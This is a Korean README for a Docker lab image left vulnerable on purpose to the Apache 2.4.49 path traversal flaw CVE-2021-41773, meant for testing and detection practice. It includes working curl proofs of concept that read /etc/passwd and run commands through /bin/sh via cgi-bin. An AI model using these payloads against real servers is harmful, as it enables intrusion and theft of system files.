CVE-2021-41773 Apache 경로 탐색에 취약한 도커 이미지

이 취약점은 특정 비기본 구성을 가진 버전 2.4.49에만 적용됩니다. 특정 상황에서는 파일 읽기 또는 코드 실행으로 이어질 수 있습니다.

https://twitter.com/ptswarm/status/1445376079548624899

파일 읽기에 취약한 설정

컨테이너는 Docker Hub에서 다음 명령어로 가져올 수 있습니다

docker pull blueteamsteve/cve-2021-41773:no-cgid

다음 명령어로 실행할 수 있습니다

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

Apache 로그는 아래 명령어를 사용하거나 위의 실행 명령에서 "-dit"를 제외하여 stdio를 스트리밍하면 볼 수 있습니다 docker logs <container-id>

파일 읽기 PoC

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

RCE에 취약한 설정

컨테이너는 Docker Hub에서 다음 명령어로 가져올 수 있습니다

docker pull blueteamsteve/cve-2021-41773:with-cgid

다음 명령어로 실행할 수 있습니다

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Apache 로그는 아래 명령어를 사용하거나 위의 실행 명령에서 "-dit"를 제외하여 stdio를 스트리밍하면 볼 수 있습니다 docker logs <container-id>

RCE PoC

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

커스텀 도커 컨테이너 빌드

서브디렉토리에 있는 dockerfile과 템플릿 httpd.conf 파일을 사용하여 자신만의 버전을 수정하고 빌드하세요.

• 파일 읽기에 취약한 설정을 위해 ./no-cgi 사용
• 코드 실행에 취약한 설정을 위해 ./with-cgi 사용